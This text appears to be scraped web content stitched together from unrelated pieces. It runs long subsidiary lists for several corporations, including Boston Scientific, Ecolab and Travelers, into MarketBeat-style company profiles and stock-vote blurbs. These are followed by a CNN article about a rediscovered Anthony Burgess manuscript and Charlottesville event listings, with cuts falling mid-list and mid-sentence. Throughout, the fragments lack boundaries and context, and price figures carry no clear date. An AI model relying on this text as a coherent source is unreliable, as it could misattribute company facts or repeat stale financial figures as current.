Mental Health Management LLC, Integrated Mental Health Services, Interpreta Holdings Inc., Interpreta Inc., Iowa Total Care Inc., Kentucky Spirit Health Plan Inc., LBB Industries Inc., LifeShare Management Group LLC, LiveHealthier Inc., Louisiana Healthcare Connections Inc., MH Services International Holdings (UK) Limited, MHM, MHM Correctional Services LLC, MHM Health Professionals LLC, MHM Services Inc., MHM Services of California LLC, MHM Solutions LLC, MHN Government Services LLC, MHN Services LLC, MHS Consulting International Inc., MHS Travel & Charter Inc., MR Centrum Melnick s.r.o., MR Poprad s.r.o., MR Zilina s.r.o., Magnolia Health Plan Inc., Managed Health Network, Managed Health Network LLC, Managed Health Services Insurance Corporation, Maryland Collaborative Care LLC, Maryland Collaborative Care Transformation Organization Inc., Mauli Ola Health and Wellness Inc., Medicina NZ spol s.r.o., Meridian Health Plan of Illinois Inc., Meridian Health Plan of Michigan Inc., Meridian Management Company LLC, Meridian Network Services LLC, MeridianRx IPA LLC, MeridianRx LLC, MeridianRx of Indiana LLC, Michigan Complete Health, Mid-Atlantic Collaborative Care LLC, Nebraska Total Care Inc., Network Providers LLC, New York Quality Healthcare Corporation, Next Door Neighbors Inc., Next Door Neighbors LLC., North Florida Health Services Inc., Northern Maryland Collaborative Care LLC, Novasys Health Inc., OB Care, OB Klinika, Ohana Health Plan Inc., Oklahoma Complete Health Inc., One Care by Care 1st Health Plans of Arizona Inc, Operose Health (Group) Ltd., Operose Health (Group) UK Ltd., Operose Health Ltd., OptiCare Health Systems - Managed Vision Business, PANTHERx Rare Pharmacy, Panther Pass Co LLC, Panther Specialty Holding Co LLC, Pantherx Access Services LLC, Pantherx Specialty LLC, Parker LP LLC, Peach State Health Plan Inc., Penn Marketing America LLC, Pennsylvania Health and Wellness Inc., Phoenix Home Health Care LLC, Pinnacle Home Care LLC, Pinnacle Senior Care of Illinois LLC, Pinnacle Senior Care of Indiana LLC, Pinnacle Senior Care of Kalamazoo LLC, Pinnacle Senior Care of Missouri LLC, Pinnacle Senior Care of Wisconsin LLC, Premier Marketing Group LLC, PrimeroSalud S.L., Pro Diagnostic Group A.S., Pro Magnet CZ s.r.o., Pro Magnet s.r.o, Pro RTG s.r.o, Progress Medical A.S., Prowl Holdings LLC, QCA Healthplan Inc., Qualchoice Life and Health Insurance Company, Quincy Coverage Corporation, R&C Healthcare LLC, RMED LLC, RX Direct Inc., Rapid Respiratory Services LLC, Ribera Lab S.L.U., Ribera Salud II, Ribera Salud Proyectos S.L., Ribera Salud S.A., Ribera Salud Tecnologias S.L.U., Ribera Slaud Infraestructuras S.L.U., Ribera-Quilpro UTE, Salus Administrative Services Inc., Salus IPA LLC, Secure Capital Solutions 2000 S.L.U., SelectCare Health Plans Inc., SelectCare of Texas Inc., Seniorcorps Peninsula LLC, Servicios De Mantenimiento Prevencor S.L.U., SilverSummit Healthplan Inc., Social Health Bridge LLC, Social Health Bridge Trust, Specialty Therapeutic Care GP LLC, Specialty Therapeutic Care Holdings, Specialty Therapeutic Care Holdings LLC, Specialty Therapeutic Care LP, Sunflower State Health Plan Inc., Sunshine Health Community Solutions Inc., Sunshine Health Holding LLC, Sunshine State Health Plan Inc., Superior HealthPlan Community Solutions Inc., Superior HealthPlan Inc., The Practice Properties Limited, The WellCare Management Group Inc., Torrejon Salud S.A., Torrevieja Salud S.L.U., Torrevieja Salud UTE, Traditional Home Health Services LLC, Trillium Community Health Plan Inc., U.S. Medical Management Holdings Inc., U.S. Medical Management LLC, UAM Agent Services Corp., US Script, USMM Accountable Care Partners LLC, Universal American Corp., Universal American Financial Services Inc., Universal American Holdings LLC, WCG Health Management Inc., WellCare Health Insurance Company of America, WellCare Health Insurance Company of Kentucky Inc., WellCare Health Insurance Company of Louisiana Inc., WellCare Health Insurance Company of Nevada Inc., WellCare Health Insurance Company of New Hampshire Inc., WellCare Health Insurance Company of New Jersey Inc., WellCare Health Insurance Company of Oklahoma Inc., WellCare Health Insurance Company of Washington Inc., WellCare Health Insurance Company of Wisconsin Inc., WellCare Health Insurance of Arizona Inc., WellCare Health Insurance of Connecticut Inc., WellCare Health Insurance of Hawaii Inc., WellCare Health Insurance of New York Inc., WellCare Health Insurance of North Carolina Inc., WellCare Health Insurance of Southwest Inc., WellCare Health Insurance of Tennessee Inc., WellCare Health Plans, WellCare Health Plans of Arizona Inc., WellCare Health Plans of California Inc., WellCare Health Plans of Kentucky Inc., WellCare Health Plans of Massachusetts Inc., WellCare Health Plans of Missouri Inc., WellCare Health Plans of New Jersey Inc., WellCare Health Plans of Rhode Island Inc., WellCare Health Plans of Tennessee Inc., WellCare Health Plans of Vermont Inc., WellCare Health Plans of Wisconsin Inc., WellCare National Health Insurance Company, WellCare Pharmacy Benefits Management Inc., WellCare Prescription Insurance Inc., WellCare of Alabama Inc., WellCare of Arkansas Inc., WellCare of California Inc., WellCare of Connecticut Inc., WellCare of Florida Inc., WellCare of Georgia Inc., WellCare of Illinois Inc., WellCare of Indiana Inc., WellCare of Kansas Inc., WellCare of Maine Inc., WellCare of Michigan Holding Company, WellCare of Mississippi Inc., WellCare of Missouri Health Insurance Company Inc., WellCare of New Hampshire Inc., WellCare of New York Inc., WellCare of North Carolina Inc., WellCare of Ohio Inc., WellCare of Oklahoma Inc., WellCare of Pennsylvania Inc., WellCare of Puerto Rico Inc., WellCare of South Carolina Inc., WellCare of Texas Inc., WellCare of Virginia Inc., WellCare of Washington Inc., Wellcare Health Plans Inc., Western Sky Community Care Inc., Windsor Health Group Inc., Winning Security S.L., Worlco Management Services, and nirvanaHealth LLC. The Williams Cos., Inc. operates as an energy infrastructure company, which explores, produces, transports, sells and processes natural gas and petroleum products. It operates through the following segments: Transmission and Gulf of Mexico; Northeast G&P; and West. The Transmission and Gulf of Mexico segment comprises of interstate natural gas pipelines, Transco and Northwest Pipeline, as well as natural gas gathering and processing and crude oil production handling and transportation assets in the Gulf Coast region. The Northeast G&P segment includes midstream gathering, processing, and fractionation businesses in the Marcellus Shale region primarily in Pennsylvania and New York, and the Utica Shale region of eastern Ohio. The West segment consists of gas gathering, processing, and treating operations in the Rocky Mountain region of Colorado and Wyoming, the Barnett Shale region of north-central Texas, the Eagle Ford Shale region of south Texas, the Haynesville Shale region of northwest Louisiana, and the Mid-Continent region which includes the Anadarko, Arkoma, and Permian basins. The company was founded by David Williams and Miller Williams in 1908 and is headquartered in Tulsa, Read More There is not enough analysis data for Blackrock Municipal 2030 Target Term Trust. 4.3 Community Rank Outperform Votes Blackrock Municipal 2030 Target Term Trust has received 173 outperform votes. (Add your outperform vote.) Underperform Votes Blackrock Municipal 2030 Target Term Trust has received 96 underperform votes. (Add your underperform vote.) Community Sentiment Blackrock Municipal 2030 Target Term Trust has received 64.31% outperform votes from our community. MarketBeat's community ratings are surveys of what our community members think about Blackrock Municipal 2030 Target Term Trust and other stocks. Vote Outperform if you believe BTT will outperform the S&P 500 over the long term. Vote Underperform if you believe BTT will underperform the S&P 500 over the long term. You may vote once every thirty days. Previous Next The following companies are subsidiares of Boston Scientific: 34 Biomedical Merger Corp., 9357-1867 Quebec Inc., Acurate Industria e Comercio Ltda., Advanced Bionics, Advanced Stent Technologies, American Medical Systems, American Medical Systems Europe B.V., Apama Medical, Apama Medical Inc., Asthmatx, Atritech, Augmenix, Augmenix Inc., Augmenix K.K., BSC International Medical Trading (Shanghai) Co. Ltd., BSC Medical Device Technology (Shanghai) Co. Ltd., BTG, BTG Australasia Pty Ltd, BTG Europe B.V., BTG IM Holdings Ltd., BTG International (Holdings) Limited, BTG International Asia Limited, BTG International Canada Inc., BTG International Germany GmbH, BTG International Healthcare Inc., BTG International Healthcare LLC, BTG International Healthcare Limited, BTG International Inc., BTG International Limited, BTG Limited, BTG Management Services Limited, BTG Medikal Limited Sirketi, Bard Electrophysiology, Barosense, Biocompatibles Inc., Biocompatibles International Limited, Biocompatibles UK Limited, Boston Scientific (Malaysia) Sdn. Bhd., Boston Scientific (South Africa) Proprietary Limited, Boston Scientific (Thailand) Ltd., Boston Scientific (UK) Limited, Boston Scientific AG, Boston Scientific Argentina S.A., Boston Scientific Asia Pacific Pte. Ltd., Boston Scientific Benelux NV, Boston Scientific Canada Limited, Boston Scientific Ceska republika s.r.o., Boston Scientific Chile SpA, Boston Scientific Colombia Limitada, Boston Scientific Comercial de Costa Rica BSCR S.R.L., Boston Scientific Far East B.V., Boston Scientific Gesellschaft m.b.H., Boston Scientific Group plc, Boston Scientific Hellas S.A., Boston Scientific Hong Kong Limited, Boston Scientific Iberica S.A., Boston Scientific India Private Limited, Boston Scientific International B.V., Boston Scientific International Finance Limited, Boston Scientific International S.A., Boston Scientific Israel Ltd., Boston Scientific Japan K.K., Boston Scientific Korea Co. Ltd., Boston Scientific Lebanon SAL, Boston Scientific Limited, Boston Scientific Ltd., Boston Scientific Medical Device, Boston Scientific Medical Device Limited, Boston Scientific Medizintechnik GmbH, Boston Scientific Middle East FZ-LLC, Boston Scientific Middle East SAL, Boston Scientific Nederland B.V., Boston Scientific Neuromodulation Corporation, Boston Scientific New Zealand Limited, Boston Scientific Nordic AB, Boston Scientific Peru S.A.C., Boston Scientific Philippines Inc., Boston Scientific Polska Sp. z o.o., Boston Scientific Portugal - Dispositivos Medicos Lda, Boston Scientific Pty Ltd, Boston Scientific Romania S.R.L., Boston Scientific S.A.S., Boston Scientific S.p.A., Boston Scientific Scimed, Boston Scientific Scimed Inc., Boston Scientific Services Private Limited, Boston Scientific TIP Gerecleri Limited Sirketi, Boston Scientific Technology & Engineering Services Private Limited, Boston Scientific Uruguay S.A., Boston Scientific Vietnam Company Limited, Boston Scientific de Costa Rica S.R.L., Boston Scientific de Mexico S.A. de C.V., Boston Scientific del Caribe Inc., Boston Scientific do Brasil Ltda., Bravo Bidco Limited, BridgePoint Medical, Cameron Health, Cardiac Pacemakers Inc., Cardiac Pathways Corp, Catheter Innovations, Claret Medical, Claret Medical Inc., Cosman Medical, Cosman Medical LLC, CryoCor, Cryterion Medical, Cryterion Medical Inc., Cryterion Medical Ireland Limited, EKOS LLC, EMcision, EMcision International Inc., EP Technologies, EP Technologies Inc., Electron Acquisition Corporation, EndoChoice, EndoChoice Holdings Inc., EndoChoice Inc., EndoChoice Innovation Center Ltd., EndoChoice Israel Ltd., Endotex, Enteric Medical Technologies, Galil Medical Inc., Galil Medical Ltd., Galil Medical UK Limited, Guidant, Guidant Delaware Holding Corporation, Guidant Europe NV, Guidant Puerto Rico B.V., Hong Kong Medtech Trading Limited, Intelect Medical, Millipede, Millipede Inc., NXT Merger Corp., Notebook Merger Sub Ltd., Novate Medical Limited, NxThera, NxThera Inc., PT Boston Scientific Indonesia, PneumRx GmbH, PneumRx LLC, PneumRx Liimited, Protherics Medicines Development B.V., Protherics Medicines Development Limited, Protherics UK Limited, Provensis Limited, RMI Acquisition Corp., Remon Medical Technologies, Rhythmia Medical, Robert S. Smith M.D. Inc., Roxwood Medical Inc., SNS Merger Corp, Sadra Medical, Sadra Medical Inc., Securus Medical Group, Securus Medical Group Inc., Special K Merger Corp., StarMedTec, Stream Enterprises LLC, Symetis, Symetis SA, Target Therapeutics, Target Therapeutics Inc., The LumenR Tissue Retractor System, Veniti, Veniti Inc., VertiFlex, Vertiflex Inc., Vessix Vascular, Xlumena, Zuma Investment Pty Ltd, iogyn, nVision Medical, and nVision Medical Corporation. Canstar Resources Inc., a junior resource company, focuses primarily on the acquisition, exploration, and development of mineral properties in Canada. The company primarily explores for zinc, silver, lead, copper, and gold deposits. The company holds interests in the Golden Baie project that consists of 57 mineral exploration licenses covering an area of 62,275 hectares located in south-central Newfoundland; the Buchans-Mary March project that consists of various contiguous properties totaling approximately 39,000 hectares of land located in Buchans Mine, central Newfoundland; and the Daniel's Harbour project consisting of 360 claims covering an area of 9000 hectares located in coastal Western Newfoundland. The company was is headquartered in Toronto, Canada. Read More Novan, Inc., a clinical development-stage biotechnology company, provides nitric oxide-based therapies to treat dermatological and oncovirus-mediated diseases. Its clinical stage dermatology drug candidates include SB204, a topical monotherapy for the treatment of acne vulgaris; SB206, a topical anti-viral gel for the treatment of viral skin infections; SB208, a topical broad-spectrum anti-fungal gel for the treatment of fungal infections of the skin and nails, including athlete's foot and fungal nail infections; and SB414, a topical cream-based gel product candidate for the treatment of inflammatory skin diseases. The company also develops SB207, an anti-viral product candidate for the treatment of external genital warts; WH602, a nitric oxide-containing intravaginal gel to treat high-risk human papilloma virus (HPV); WH504, a non-gel formulation product candidate to treat high-risk HPV; and SB019 for the treatment of SARS-CoV-2. Novan, Inc. has a license agreement with Sato Pharmaceutical Co., Ltd.; and a strategic alliance with Orion Corporation. The company was incorporated in 2006 and is headquartered in Morrisville, North Carolina. Read More iShares S&P 500 ETF's stock was trading at $275.41 on March 11th, 2020 when COVID-19 reached pandemic status according to the World Health Organization (WHO). Since then, IVV stock has increased by 70.6% and is now trading at $469.75. View which stocks have been most impacted by COVID-19. The following companies are subsidiares of Ecolab: AO Ecolab, Abednego Environmental Services, Abednego Environmental Services LLC, Abednego Mexico Holdings LLC, Abednego de Mexico S. de R.L. de C.V., Alcide Corp., Anios America S.A., Anios Diffusion SAS, Anios Manufacturing SAS, Bioquell, Bioquell Asia Pacific Pte. Ltd., Bioquell Global Logistics (Ireland) Ltd., Bioquell Holding SAS, Bioquell Inc., Bioquell Limited, Bioquell SAS, Bioquell Technology (Shenzhen) Ltd., Bioquell Technology Canada Ltd., Bioquell UK Limited, Bioxyquell Limited, CALGON EUROPE LIMITED, CALGON LLC, CID LINES HOLDING NV, CID LINES INVEST NV, CID LINES NV, CID Lines, CID Lines Beijing Animal Hygiene Co Ltd., CID Lines France Sarl, CID Lines Iberica SL, CID Lines LLC, CID Lines Mexico S.A. DE C.V., CID Lines R&D NV, CID Lines Sp. z o. o., CORPAK MedSystems, Cascade Water Services, Champion Technologies, Chamtech L.L.C., Chemlawn, Chemstaff Inc., Chemstar Corporation, Cirlam BVBA, Copal Holding NV, Copal Invest NV, DERYPOL SA, DMD, E&M Bio-Chemicals LLC, ECOLAB NL 10 B.V., ECOLAB PEST FRANCE SAS, Ecolab (Antigua) Ltd., Ecolab (Aruba) N.V., Ecolab (Barbados) Limited, Ecolab (China) Investment Co. Ltd, Ecolab (Fiji) Pty Limited, Ecolab (GZ) Chemicals Limited, Ecolab (Guam) LLC, Ecolab (Proprietary) Limited, Ecolab (Schweiz) GmbH, Ecolab (St. Lucia) Limited, Ecolab (Taicang) Technology Co. Ltd., Ecolab (Trinidad and Tobago) Unlimited, Ecolab (U.K.) Holdings Limited, Ecolab A.E.B.E., Ecolab AB, Ecolab AP Holdings LLC, Ecolab AT 2 GmbH, Ecolab AU2 Pty Ltd, Ecolab Acquisition LLC, Ecolab ApS, Ecolab Argentina S.R.L., Ecolab Asia Pacific Pte. Ltd., Ecolab B.V., Ecolab B.V.B.A./S.P.R.L., Ecolab Bahrain S.P.C., Ecolab CDN 2 Co., Ecolab CDN 4 ULC, Ecolab CH 1 GmbH, Ecolab CH 2 GmbH, Ecolab CH 3 GmbH, Ecolab CH 5 GmbH, Ecolab CH 6 GmbH, Ecolab Chemicals Limited, Ecolab Co., Ecolab Colombia S. A., Ecolab DE 1 GmbH, Ecolab Deutschland GmbH, Ecolab EOOD, Ecolab East Africa (Kenya) Limited, Ecolab East Africa (Tanzania) Limited, Ecolab East Africa (Uganda) Limited, Ecolab Ecuador Cia. Ltda., Ecolab Engineering GmbH, Ecolab Europe GmbH, Ecolab Export GmbH, Ecolab FR 1 SAS, Ecolab FR 4 SAS, Ecolab Finance Company Designated Activity Company, Ecolab Food Safety & Hygiene Solutions Private Limited, Ecolab G.K., Ecolab Global Business Services LLC, Ecolab GmbH, Ecolab Gulf FZE, Ecolab HK 1 Limited, Ecolab HK 2 Limited, Ecolab Hispano-Portuguesa S.L., Ecolab Holding Italy S.r.l., Ecolab Holdings (Europe) LLC, Ecolab Holdings Inc., Ecolab Holdings Mexico S. de R. L. de C. V., Ecolab Hygiene Kft., Ecolab Hygiene d.o.o., Ecolab Israel Holdings LLC, Ecolab JVZ Limited, Ecolab Korea Ltd., Ecolab LLC, Ecolab LUX & Co Holdings S.C.A., Ecolab LUX 1 Sarl, Ecolab LUX 2 Sarl, Ecolab LUX 4 Sarl, Ecolab LUX 7 Sarl, Ecolab LUX Sarl, Ecolab Limited, Ecolab Ltd., Ecolab Lux 10 Sarl, Ecolab Lux 12 Sarl, Ecolab Lux 13 Sarl, Ecolab Lux 14 Sarl, Ecolab Lux 15 Sarl, Ecolab Lux 9 S.a.r.l., Ecolab Lux Partner LLC, Ecolab MT Holdings LLC, Ecolab MT Limited, Ecolab Malta 1 Limited, Ecolab Malta 2 Limited, Ecolab Malta GPS, Ecolab Manufacturing IE Limited, Ecolab Manufacturing Inc., Ecolab Manufacturing UK Limited, Ecolab Maroc Societe a Responsabilite Limitee, Ecolab NL 11 B.V., Ecolab NL 15 BV, Ecolab NL 16 B.V., Ecolab NL 23 B.V., Ecolab NL 3 BV, Ecolab NL 4 BV, Ecolab Name Holding Limited, Ecolab New Zealand, Ecolab Peru Holdings S.R.L., Ecolab Pest Deutschland GmbH, Ecolab Philippines Inc., Ecolab Production Belgium B.V.B.A., Ecolab Production France SAS, Ecolab Production Italy Srl, Ecolab Production LLC, Ecolab Production Netherlands B.V., Ecolab Production Poland sp. z o.o., Ecolab Pte. Ltd., Ecolab Pty Ltd., Ecolab Quimica Ltda., Ecolab S. de R.L. de C.V., Ecolab S.A., Ecolab S.A. de C.V., Ecolab SAS, Ecolab SIA, Ecolab SNC, Ecolab SRL, Ecolab Sdn Bhd, Ecolab Services Argentina S.R.L., Ecolab Services Poland Sp. z o o, Ecolab Sociedad Anonima, Ecolab Sp. z o o, Ecolab Spain Services S.L.U., Ecolab Temizleme Sistemleri Limited Sirketi, Ecolab U.S. 2 Inc., Ecolab U.S. 6 LLC, Ecolab U.S. 7 LLC, Ecolab US 1 GP, Ecolab USA Inc., Ecolab Viet Nam Company Limited, Ecolab Water Holding LImited, Ecolab a.s., Ecolab d.o.o., Ecolab s.r.l., Ecolab s.r.o., Ecolab y Compania Colectiva de Responsabilidad Limitada, Ecolab-Importacao E. Exportacao Limitada, Ecolabone B.V., Ecolabtwo B.V., Endoclear Equipamentos Medicos Hospitalares Ltda., Enviroflo Engineering Limited, Food Protection Services, GCS Service, Gallay Medical & Scientific Pty Ltd, Gallay Medical & Scientific Pty Ltd., GallayTrac Pty. Ltd., Georgia-Pacific - Paper Chemicals Business, Gibson Chemical Industries, Green Harbour Mainland Holdings Ltd, Guangzhou Green Harbour Environmental Operation Ltd., HYDROSAN LIMITED, Henkel-Ecolab, Hicopla SL, Holchem Laboratories, Huntington Laboratories, Hydenet SAS, INDUSTRIAL) UNIPESSOAL LDA, INTERNATIONAL WATER CONSULTANT B.V., Immobiliare R.E.O.P.A. SRL, Instrunet Hospital SLU, Jianghai Environmental Protection Co., Jianghai Environmental Protection Co. Ltd., KATAYAMA NALCO INC., Kay BVBA, Kay Chemical Company, LHS (UK) Limited, Laboratoires Anios, Laboratoires Anios-Distribution SAS, Les Produits Chimiques ERPAC Inc., Lobster Ink, Lobster Ink Africa (Pty.) Ltd., Lobster International S.A., London & General Packaging Ltd, MALAYSIA SDN. BHD, MANUFACTURING S.R.L., MOBOTEC AB LLC, Master Chemicals OOO, Meratech Rus Group LLC, Microtek Dominicana S.A., Microtek Italy S.R.L., Microtek Medical B.V., Microtek Medical Europe Limited, Microtek Medical Holdings, Microtek Medical Holdings Inc., Microtek Medical Inc., Microtek Medical Malta Holding Limited, Microtek Medical Malta Limited, Midland Research Laboratories, Midland Research Laboratories UK Limited, NALCO (SHANGHAI) TRADING CO. LTD., NALCO AB, NALCO ACQUISITION ONE, NALCO ACQUISITION TWO LIMITED, NALCO AFRICA (PTY.) LTD., NALCO ASIA HOLDING COMPANY PTE. LTD., NALCO BELGIUM BVBA, NALCO CHINA HOLDINGS LLC, NALCO COMPANY OOO, NALCO DANMARK APS, NALCO DE MEXICO S. de R. L. de C.V., NALCO DELAWARE COMPANY, NALCO DEUTSCHLAND GMBH, NALCO DEUTSCHLAND MANUFACTURING GMBH UND CO. KG, NALCO DUTCH HOLDINGS B.V., NALCO EGYPT LTD., NALCO EGYPT TRADING, NALCO ESPANOLA MANUFACTURING S.L.U., NALCO ESPANOLA S.L., NALCO EUROPE B.V., NALCO FINLAND MANUFACTURING OY, NALCO FINLAND OY, NALCO FRANCE, NALCO FRANCE SNC, NALCO GLOBAL HOLDINGS B.V., NALCO GLOBAL HOLDINGS LLC, NALCO HOLDING B.V., NALCO HOLDING COMPANY, NALCO HOLDINGS G.m.b.H., NALCO HOLDINGS UK LIMITED, NALCO HONG KONG LIMITED, NALCO INDUSTRIAL OUTSOURCING COMPANY, NALCO INDUSTRIAL SERVICES, NALCO INDUSTRIAL SERVICES (NANJING) CO. LTD., NALCO INDUSTRIAL SERVICES (SUZHOU) CO. LTD., NALCO INDUSTRIAL SERVICES (THAILAND) CO. LTD., NALCO INDUSTRIAL SERVICES CHILE LIMITADA, NALCO INTERNATIONAL HOLDINGS B.V., NALCO INTERNATIONAL HOLDINGS LLC, NALCO INVESTMENTS U.K. LIMITED, NALCO ISRAEL INDUSTRIAL SERVICES LTD, NALCO ITALIANA, NALCO ITALIANA HOLDINGS S.R.L., NALCO ITALIANA SrL, NALCO KOREA LIMITED, NALCO LIMITED, NALCO LUXEMBOURG HOLDINGS SARL, NALCO MANUFACTURING BETEILIGUNGS GMBH, NALCO MANUFACTURING LTD., NALCO NETHERLANDS B.V., NALCO NORTH AFRICA LIMITED, NALCO OSTERREICH Ges m.b.H., NALCO OVERSEAS HOLDING B.V., NALCO PAKISTAN (PRIVATE) LIMITED, NALCO PHILIPPINES INC., NALCO PORTUGUESA (QUIMICA, NALCO PWS INC., NALCO SAUDI CO. LTD., NALCO TAIWAN CO. LTD., NALCO TWO INC., NALCO U.S. HOLDINGS LLC, NALCO UNIVERSAL HOLDINGS BV, NALCO WORLDWIDE HOLDINGS LLC, NALCO ZAO, NALFLOC LIMITED, NALTECH INC., NANOSPECIALTIES LLC, NLC PROCESS AND WATER SERVICES SARL, Nalco (BN) SDN BHD, Nalco (China) Environmental Solution Co. Ltd., Nalco Anadolu Kimya Sanayi ve Ticaret Limited Sirketi, Nalco Canada ULC, Nalco Company LLC, Nalco Contract Operations LLC, Nalco Grundbesitz GmbH & Co. KG, Nalco Gulf Response Corp., Nalco Japan G.K., Nalco Libya, Nalco Middle East FZE, Nalco Polska Sp. z o. o., Nalco Production LLC, Nalco Real Estate GmbH, Nalco Schweiz GmbH, Nalco US 1 LLC, Nalco Wastewater Contract Operations Inc., Nalco Water India Limited, Nalco Water Pretreatment Solutions LLC, Nalco Worldwide Holdings S.a.r.l./B.V., Nigiko, Nuova Farmec S.r.l., Oksa Kimya Sanayi A.S., Oy Ecolab AB, PT Ecolab International Indonesia, PT Ecolab Technologies and Services, Purate business - AkzoNobel, Quantum Technical Services LLC, Quimicas Ecolab S.A. de C.V., Quimiproductos S.A. de C.V, RP Adam Ltd, Research Fumigation Co., Royal Pest Solutions, Shield Holdings Limited, Shield Medicare Limited, Shield Salvage Associates Limited, Soluscope International Trading (Shanghai) Co. Ltd., Soluscope SAS, Swisher Hygiene, Technical Textile Services Limited, Techtex Holdings Limited, Terminix, Ultrafab, Wabasha Leasing LLC, and vanBaerle Hygiene AG. The following companies are subsidiares of Travelers Companies: 10762962 Canada Inc., 350 Market Street LLC, 8527512 Canada Inc., Aetna Life and Casualty Co, American Equity Insurance Company, American Equity Specialty Insurance Company, Aprilgrange Limited, Arch Street North LLC, Auto Hartford Investments LLC, Bayhill Restaurant II Associates, Camperdown Corporation, Constitution State Services LLC, Discover Property & Casualty Insurance Company, Discover Specialty Insurance Company, F&G UK Underwriters Limited, Farmington Casualty Company, Fidelity and Guaranty Insurance Company, Fidelity and Guaranty Insurance Underwriters Inc., First Floridian Auto and Home Insurance Company, Gulf Underwriters Insurance Company, IHP Capital Partners Fund VIII L.P., Northbrook Holdings Inc., Northfield Insurance Company, Northland Casualty Company, Northland Insurance Company, Phoenix UK Investments LLC, SPC Insurance Agency Inc., Select Insurance Company, Simply Business Holdings Inc., Simply Business Inc., St. Paul Fire and Marine Insurance Company, St. Paul Guardian Insurance Company, St. Paul Mercury Insurance Company, St. Paul Protective Insurance Company, St. Paul Surplus Lines Insurance Company, Standard Fire Properties LLC, Standard Fire UK Investments LLC, TCI Global Services Inc., TPC Investments Inc., TPC U.K. Investments LLC, The Automobile Insurance Company of Hartford Connecticut, The Charter Oak Fire Insurance Company, The Dominion of Canada General Insurance Company, The Family Business Institute LLC, The Phoenix Insurance Company, The St. Paul Companies Inc., The Standard Fire Insurance Company, The Travelers Casualty Company, The Travelers Home and Marine Insurance Company, The Travelers Indemnity Company, The Travelers Indemnity Company of America, The Travelers Indemnity Company of Connecticut, The Travelers Lloyds Insurance Company, TravCo Insurance Company, Travelers (Bermuda) Limited, Travelers Brazil Acquisition LLC, Travelers Brazil Holding LLC, Travelers Casualty Company of Connecticut, Travelers Casualty Insurance Company of America, Travelers Casualty UK Investments LLC, Travelers Casualty and Surety Company, Travelers Casualty and Surety Company of America, Travelers Casualty and Surety Company of Europe Limited, Travelers Commercial Casualty Company, Travelers Commercial Insurance Company, Travelers Constitution State Insurance Company, Travelers Distribution Alliance Inc., Travelers Excess and Surplus Lines Company, Travelers Global Inc., Travelers Indemnity U.K. Investments LLC, Travelers Insurance Company Limited, Travelers Insurance Company of Canada, Travelers Insurance Designated Activity Company, Travelers Insurance Group Holdings Inc., Travelers Lloyds of Texas Insurance Company, Travelers London Limited, Travelers MGA Inc., Travelers Management Limited, Travelers Marine LLC, Travelers Participacoes em Seguros Brasil S.A., Travelers Personal Insurance Company, Travelers Personal Security Insurance Company, Travelers Property Casualty Company of America, Travelers Property Casualty Corp., Travelers Property Casualty Insurance Company, Travelers Seguros Brasil S.A., Travelers Syndicate Management Limited, Travelers Texas MGA Inc., Travelers Underwriting Agency Limited, Ultramar Travel Management, United States Fidelity and Guaranty Company, Xbridge Limited, Zensurance Brokers Inc., and Zensurance Inc.. Lost 'A Clockwork Orange' sequel discovered in author's archives (CNN) A previously undiscovered "sequel" to Anthony Burgess' dystopian cult classic "A Clockwork Orange" has been found among the author's archives. In the unfinished "The Clockwork Condition," the author responds to the moral panic caused by Stanley Kubrick's film adaptation of his most-famous novel, which had come out just weeks before. The nonfiction work, which also includes a series of philosophical thoughts on the human condition, runs to around 200 typewritten pages, and features several handwritten notes. It had been left for decades among in his abandoned home in Bracciano, Italy, before being boxed up after his death in 1993 and sent to the International Anthony Burgess Foundation in Manchester, England, alongside several other works and possessions. "It's not finished, but there is quite a lot there," Andrew Biswell, who works at the foundation and helped make the discovery, told CNN. "If you put the book together, you can see what might have been." "It's given us more detail about a whole range of thoughts and feelings he had about culture, in the immediate aftermath of the film having come out," Biswell added. Kubrick's 1971 adaptation ultimately received critical and commercial acclaim and boosted the popularity of Burgess' book, but caused massive controversy on its release for its violent and sexual content. The author was forced to confront suggestions that he glorified and encouraged violent acts through his work, which describes the horrific spree of "ultra-violence" by a gang of delinquent criminals in a futuristic Britain. "Burgess felt very strongly that he was in the firing line," Biswell says, describing the themes of the newly discovered manuscript. "He's very concerned by the accusation that this film has provoked people to do evil things." In one section of the manuscript, Burgess writes that young people at the time had learned "a style of violence," but not violence itself -- which he felt was inherent in some people. In another section, Burgess muses on the impact of television and the mass media on people in the 1970s. He writes of "man trapped in the world of machines, unable to grow as a human being and become himself." He diagnoses the titular "Clockwork Condition" as the state of "feeling alienated, partly because of the mass media," Biswell says. "In that sense it's a commentary about what's happening to him, and his own life had been turned upside down by the success of the film," he adds. The text of "The Clockwork Condition" was meant to be supplemented by a series of around 80 photographs on the subject of freedom and the individual. The work was structured in the same way as one of his favorite poems, Dante's "Inferno," and was publicly mentioned by Burgess just once. Burgess wrote a series of novels and comic works throughout his life, but none resonated with audiences like "A Clockwork Orange." It was chosen by Time magazine as one of the 100 best English-language books written between 1923 and 2005, while Kubrick's film was nominated for the Best Picture Oscar. Kubrick's work is set to be honored in an exhibition at London's Design Museum opening April 26, 2019. Thomson Reuters Corporation provides business information services in the Americas, Europe, the Middle East, Africa, and the Asia Pacific. It operates in five segments: Legal Professionals, Corporates, Tax & Accounting Professionals, Reuters News, and Global Print. The Legal Professionals segment offers research and workflow products focusing on legal research and integrated legal workflow solutions that combine content, tools, and analytics to law firms and governments. The Corporates segment provides a suite of content-enabled technology solutions for legal, tax, regulatory, compliance, and IT professionals. The Tax & Accounting Professionals segment offers research and workflow products focusing on tax offerings and automating tax workflows to tax, accounting, and audit professionals in accounting firms. The Reuters News segment provides business, financial, national, and international news to professionals through desktop terminals, media organizations, and industry events, as well as directly to consumers. The Global Print segment offers legal and tax information primarily in print format to legal and tax professionals, governments, law schools, and corporations. The company was formerly known as The Thomson Corporation and changed its name to Thomson Reuters Corporation in April 2008. The company was founded in 1851 and is headquartered in Toronto, Canada. Thomson Reuters Corporation is a subsidiary of The Woodbridge Company Limited. Read More The Center offers an Apple Watch Workshop from 11 a.m. to 12:30 p.m. Monday, Staying Healthy with Spectrum Physical Therapy from 10 to 11 a.m. Tuesday and the second of the two-part Investment Basics course from 10 a.m. to noon Wednesday.491 Hillsdale Drive. (434) 974-7756 Central Library presents the How-To Festival with 15- to 30 minute sessions on a variety of topics from 10 a.m. to 2 p.m. May 4. Details and schedule at jmrl.org. (434) 979-7151. Charlottesville Camera Club presents an open workshop for peer review of images from 2 to 4 p.m. Saturday at Northside Library. cvillecameraclub.org. Literacy Volunteers offers tutor training from 9:30 a.m. to 4:30 p.m. May 4. 233 Fourth St. NW. literacyforall.org. (434) 977-4059. Market at Grelen offers a free peony arrangement class from 10 to 11 